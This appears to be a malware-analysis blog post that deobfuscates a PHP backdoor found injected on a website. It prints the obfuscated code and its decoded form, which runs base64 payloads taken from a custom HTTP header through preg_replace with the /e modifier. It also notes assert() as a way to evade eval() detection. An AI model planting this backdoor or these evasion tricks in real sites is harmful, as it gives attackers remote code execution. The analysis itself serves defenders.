According to our daily malware analysis experience, we’ve noticed that the bad guys are using obfuscation more and more to hide what they are doing. Take for example this piece of code we found injected on a website:
$uhn = “IdsdMR8PY8e1rnrTQVgH_ebFESWoiH6334BT7d9j*z7M6n1uYgUD8evi2K/30_lNfsX0.lw4Sc9V5XcY/emePeeUSjZ4batLBeJbDavItop7ta.gpWrmqGczwpMnelaCs_X”; $ryhblanf = $uhn[29] .$uhn[15] .$uhn[35] .$uhn[7] .$uhn[129] .$uhn[4] .$uhn[127] .$uhn[88] .$uhn[51] .$uhn[8] .$uhn[50] .$uhn[130] .$uhn[48] .$uhn[87]; $xwxmciatqb = $uhn[49] .$uhn[53] .$uhn[104] .$uhn[124] .$uhn[13] .$uhn[54]; $bziukecaog = $uhn[112] .$uhn[12] .$uhn[85] .$uhn[111] .$uhn[61] .$uhn[114] .$uhn[97] .$uhn[121] .$uhn[125] .$uhn[101] .$uhn[118] .$uhn[83]; $qzwqaaxjed = $uhn[22] .$uhn[126] .$uhn[2] .$uhn[21] .$uhn[44] .$uhn[91] .$uhn[20] .$uhn[1] .$uhn[10] .$uhn[73] .$uhn[105] .$uhn[3] .$uhn[86]; $nuohhxqkdz = $uhn[58] .$uhn[68] .$uhn[40] .$uhn[80] .$uhn[81]; $hawrkpadgq = $uhn[110]; $vpbucerp = $xwxmciatqb($ryhblanf); $bziukecaog ($nuohhxqkdz , $qzwqaaxjed($vpbucerp) , $hawrkpadgq);
No sign of any “eval()” and no sign of “preg_replace()” with the eval switch like in the majority of malware files.
When I looked at it for the first time, I thought that that’s just some corrupted/incomplete malware which can’t work. But one of the prerequisites for my job is “being curious” – And I am, so I checked it more deeply and… the result was interesting!
First, I decided to beautify the code to see it more clearly…
$uhn = "IdsdMR8PY8e1rnrTQVgH_ebFESWoiH6334BT7d9j*z7M6n1uYgUD8evi2K/30_lNfsX0.lw4Sc9V5XcY/emePeeUSjZ4batLBeJbDavItop7ta.gpWrmqGczwpMnelaCs_X";
$ryhblanf = $uhn[29] . $uhn[15] . $uhn[35] . $uhn[7] . $uhn[129] . $uhn[4] . $uhn[127] . $uhn[88] . $uhn[51] . $uhn[8] . $uhn[50] . $uhn[130] . $uhn[48] . $uhn[87];
$xwxmciatqb = $uhn[49] . $uhn[53] . $uhn[104] . $uhn[124] . $uhn[13] . $uhn[54];
$bziukecaog = $uhn[112] . $uhn[12] . $uhn[85] . $uhn[111] . $uhn[61] . $uhn[114] . $uhn[97] . $uhn[121] . $uhn[125] . $uhn[101] . $uhn[118] . $uhn[83];
$qzwqaaxjed = $uhn[22] . $uhn[126] . $uhn[2] . $uhn[21] . $uhn[44] . $uhn[91] . $uhn[20] . $uhn[1] . $uhn[10] . $uhn[73] . $uhn[105] . $uhn[3] . $uhn[86];
$nuohhxqkdz = $uhn[58] . $uhn[68] . $uhn[40] . $uhn[80] . $uhn[81];
$hawrkpadgq = $uhn[110];
$vpbucerp = $xwxmciatqb($ryhblanf);
$bziukecaog($nuohhxqkdz, $qzwqaaxjed($vpbucerp), $hawrkpadgq);
//echo $ryhblanf . "\r\n"; HTTP_MCSDYUXYU
//echo $xwxmciatqb . "\r\n"; getenv
//echo $bziukecaog . "\r\n"; preg_replace
//echo $qzwqaaxjed . "\r\n"; base64_decode
//echo $nuohhxqkdz . "\r\n"; /.*/e
// echo $hawrkpadgq . "\r\n"; .
Those commented lines at the bottom are my own – they helped me to understand what’s under each variable and how it works.. As you can see, it has a getenv, preg_replace, base64_decode and when you put it all together, you get the readable code:
$vpbucerp = getenv("HTTP_MCSDYUXYU");
preg_replace("/.*/e", base64_decode($vpbucerp), ".");
And that’s it – yes, there actually ARE eval() and even base64_decode() functions, but hidden behind variables. Otherwise, it’s really just malicious backdoor component which reads some custom environment variable where the actual payload should be stored. Curious about other ways of running the code in PHP without using eval() at all?
There are.
Most common is preg_replace with that “/e” switch (directly evaluates the expression after replacing), one of less common, but very interesting is the PHP assert() function. As mentioned in the PHP official documentation: If the assertion is given as a string it will be evaluated as PHP code by assert(). And there are others surprises in PHP.